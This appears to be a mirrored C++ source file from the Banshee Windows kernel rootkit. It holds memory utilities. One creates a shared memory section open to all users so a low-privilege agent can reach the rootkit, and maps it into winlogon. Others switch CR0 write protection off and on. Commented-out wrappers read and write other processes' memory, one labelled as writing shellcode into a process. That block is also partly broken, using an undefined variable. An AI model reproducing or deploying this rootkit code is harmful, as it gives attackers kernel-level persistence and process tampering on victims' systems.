mirror of
https://github.com/eversinc33/Banshee
synced 2026-06-08 14:08:04 +00:00
220 lines
6.6 KiB
C++
220 lines
6.6 KiB
C++
#include "MemoryUtils.hpp"
|
|
#include "Globals.hpp"
|
|
|
|
/*
|
|
* @brief Creates a shared memory section accessible by all users.
|
|
*
|
|
* @return NTSTATUS STATUS_SUCCESS if successful, otherwise an error code.
|
|
*/
|
|
NTSTATUS
|
|
BeCreateSharedMemory()
|
|
{
|
|
UNICODE_STRING sectionName = { 0 };
|
|
PSECURITY_DESCRIPTOR sd = { 0 };
|
|
OBJECT_ATTRIBUTES oa = { 0 };
|
|
LARGE_INTEGER sectionSize = { 0 };
|
|
KAPC_STATE apc = { 0 };
|
|
NTSTATUS status = STATUS_UNSUCCESSFUL;
|
|
SIZE_T ulViewSize = sizeof(BANSHEE_PAYLOAD);
|
|
|
|
RtlInitUnicodeString(§ionName, L"\\BaseNamedObjects\\Global\\BeShared");
|
|
|
|
//
|
|
// Add permissions to all users to our shared memory, so that a lowpriv agent can still access the rootkit
|
|
//
|
|
BeCreateSecurityDescriptor(&sd);
|
|
InitializeObjectAttributes(&oa, §ionName, OBJ_CASE_INSENSITIVE | OBJ_PERMANENT | OBJ_KERNEL_HANDLE | OBJ_OPENIF, NULL, sd);
|
|
sectionSize.LowPart = sizeof(BANSHEE_PAYLOAD);
|
|
|
|
status = BeGlobals::pZwCreateSection(&BeGlobals::hSharedMemory, SECTION_ALL_ACCESS, &oa, §ionSize, PAGE_READWRITE, SEC_COMMIT, NULL);
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
LOG_MSG("ZwCreateSection fail! Status: 0x%X\n", status);
|
|
ExFreePool(sd);
|
|
return status;
|
|
}
|
|
|
|
//
|
|
// TODO: document
|
|
//
|
|
KeStackAttachProcess(BeGlobals::winLogonProc, &apc);
|
|
|
|
status = BeGlobals::pZwMapViewOfSection(BeGlobals::hSharedMemory, ZwCurrentProcess(), &BeGlobals::pSharedMemory, 0, ulViewSize, NULL, &ulViewSize, ViewUnmap, 0, PAGE_READWRITE);
|
|
if (!NT_SUCCESS(status))
|
|
{
|
|
LOG_MSG("Failed to map shared memory: 0x%X\n", status);
|
|
BeGlobals::pZwClose(BeGlobals::hSharedMemory);
|
|
KeUnstackDetachProcess(&apc);
|
|
ExFreePool(sd);
|
|
return STATUS_UNSUCCESSFUL;
|
|
}
|
|
|
|
LOG_MSG("Mapped shared memory at 0x%llx\n", (ULONG_PTR)BeGlobals::pSharedMemory);
|
|
|
|
KeUnstackDetachProcess(&apc);
|
|
|
|
ExFreePool(sd);
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
/*
|
|
* @brief Closes the shared memory section and unmaps it.
|
|
*
|
|
* @param[in] HSharedMemory Handle to the shared memory section.
|
|
* @param[in] pSharedMemory Pointer to the mapped shared memory.
|
|
*/
|
|
VOID
|
|
BeCloseSharedMemory(
|
|
_In_ HANDLE hSharedMemory,
|
|
_In_ PVOID pSharedMemory)
|
|
{
|
|
//
|
|
// TODO: document
|
|
//
|
|
KAPC_STATE apc;
|
|
KeStackAttachProcess(BeGlobals::winLogonProc, &apc);
|
|
|
|
if (BeGlobals::pSharedMemory != NULL)
|
|
{
|
|
BeGlobals::pZwUnmapViewOfSection(ZwCurrentProcess(), pSharedMemory);
|
|
BeGlobals::pSharedMemory = NULL;
|
|
}
|
|
|
|
if (BeGlobals::hSharedMemory != NULL)
|
|
{
|
|
BeGlobals::pZwClose(hSharedMemory);
|
|
hSharedMemory = NULL;
|
|
}
|
|
|
|
KeUnstackDetachProcess(&apc);
|
|
}
|
|
|
|
/*
|
|
* @brief Disables write protection on CR0 register.
|
|
*
|
|
* @return KIRQL Previous interrupt request level.
|
|
*/
|
|
KIRQL
|
|
WPOFFx64()
|
|
{
|
|
KIRQL irql = KeRaiseIrqlToDpcLevel();
|
|
UINT64 cr0 = __readcr0();
|
|
cr0 &= 0xfffffffffffeffff;
|
|
__writecr0(cr0);
|
|
_disable();
|
|
return irql;
|
|
}
|
|
|
|
/*
|
|
* @brief Enables write protection on CR0 register.
|
|
*
|
|
* @param[in] irql Previous interrupt request level to restore.
|
|
*/
|
|
VOID
|
|
WPONx64(
|
|
_In_ KIRQL irql
|
|
)
|
|
{
|
|
UINT64 cr0 = __readcr0();
|
|
cr0 |= 0x10000;
|
|
_enable();
|
|
__writecr0(cr0);
|
|
KeLowerIrql(irql);
|
|
}
|
|
|
|
/*
|
|
/**
|
|
* Wrapper for MmCopyVirtualMemory, adjusting permissions accordingly and restoring them
|
|
*
|
|
* @param targetProcess The target process from which data will be read
|
|
* @param procAddr The source address in the target process from which data will be read
|
|
* @param dstAddr The addr of the caller process where the data that is read will be written to
|
|
* @param size The amount of bytes to be read
|
|
* @param accessMode The access mode specifying whether the operation is in user mode or kernel mode
|
|
*
|
|
* @return Returns NTSTATUS indicating success or failure
|
|
|
|
NTSTATUS
|
|
BeReadProcessMemory(PEPROCESS targetProcess, PVOID procAddr, OUT PVOID dstAddr, SIZE_T size, MODE accessMode)
|
|
{
|
|
NTSTATUS NtStatus;
|
|
|
|
// TODO: verify addresses according to mode, e.g. kernel mode -> addr must be in kernel space
|
|
|
|
SIZE_T bytesRead;
|
|
NtStatus = BeGlobals::pMmCopyVirtualMemory(targetProcess, srcAddr, PsGetCurrentProcess(), dstAddr, size, accessMode, &bytesRead);
|
|
|
|
return NtStatus;
|
|
}
|
|
|
|
/**
|
|
* Wrapper for MmCopyVirtualMemory, adjusting permissions accordingly and restoring them
|
|
*
|
|
* @param targetProcess The target process into which data will be written
|
|
* @param srcAddr The source address in the current process from which data will be copied
|
|
* @param dstAddr The destination address in the target process where data will be written
|
|
* @param size The size, in bytes, of the data to be written
|
|
* @param accessMode The access mode specifying whether the operation is in user mode or kernel mode
|
|
*
|
|
* @return Returns NTSTATUS indicating success or failure
|
|
|
|
NTSTATUS
|
|
BeWriteProcessMemory(PEPROCESS targetProcess, PVOID srcAddr, PVOID dstAddr, SIZE_T size, MODE accessMode)
|
|
{
|
|
NTSTATUS NtStatus;
|
|
|
|
// TODO: verify addresses according to mode, e.g. kernel mode -> addr must be in kernel space
|
|
|
|
// Aquire handle on target process
|
|
HANDLE hTargetProcess;
|
|
NtStatus = ObOpenObjectByPointer(targetProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, accessMode, &hTargetProcess);
|
|
if (NtStatus != 0)
|
|
{
|
|
return NtStatus;
|
|
}
|
|
|
|
// Adjust permissions
|
|
ULONG oldProtection;
|
|
SIZE_T bytesWritten;
|
|
SIZE_T patchLen = size;
|
|
PVOID addressToProtect = dstAddr;
|
|
NtStatus = BeGlobals::pZwProtectVirtualMemory(hTargetProcess, &addressToProtect, &patchLen, PAGE_READWRITE, &oldProtection);
|
|
if (NtStatus != 0)
|
|
{
|
|
BeGlobals::pZwClose(hTargetProcess);
|
|
return NtStatus;
|
|
}
|
|
|
|
// Close handle
|
|
BeGlobals::pZwClose(hTargetProcess);
|
|
|
|
// Write shellcode into process
|
|
NtStatus = BeGlobals::pMmCopyVirtualMemory(PsGetCurrentProcess(), srcAddr, targetProcess, dstAddr, size, accessMode, &bytesWritten);
|
|
|
|
if (NtStatus != 0)
|
|
{
|
|
return NtStatus;
|
|
}
|
|
|
|
// Aquire handle on target process
|
|
NtStatus = ObOpenObjectByPointer(targetProcess, OBJ_KERNEL_HANDLE, NULL, PROCESS_ALL_ACCESS, *PsProcessType, accessMode, &hTargetProcess);
|
|
if (NtStatus != 0)
|
|
{
|
|
return NtStatus;
|
|
}
|
|
|
|
// Restore permissions
|
|
patchLen = size;
|
|
NtStatus = BeGlobals::pZwProtectVirtualMemory(hTargetProcess, &addressToProtect, &patchLen, oldProtection, &oldProtection);
|
|
if (NtStatus != 0)
|
|
{
|
|
BeGlobals::pZwClose(hTargetProcess);
|
|
return NtStatus;
|
|
}
|
|
|
|
// Close handle
|
|
NtStatus = BeGlobals::pZwClose(hTargetProcess);
|
|
|
|
return STATUS_SUCCESS;
|
|
}
|
|
*/ |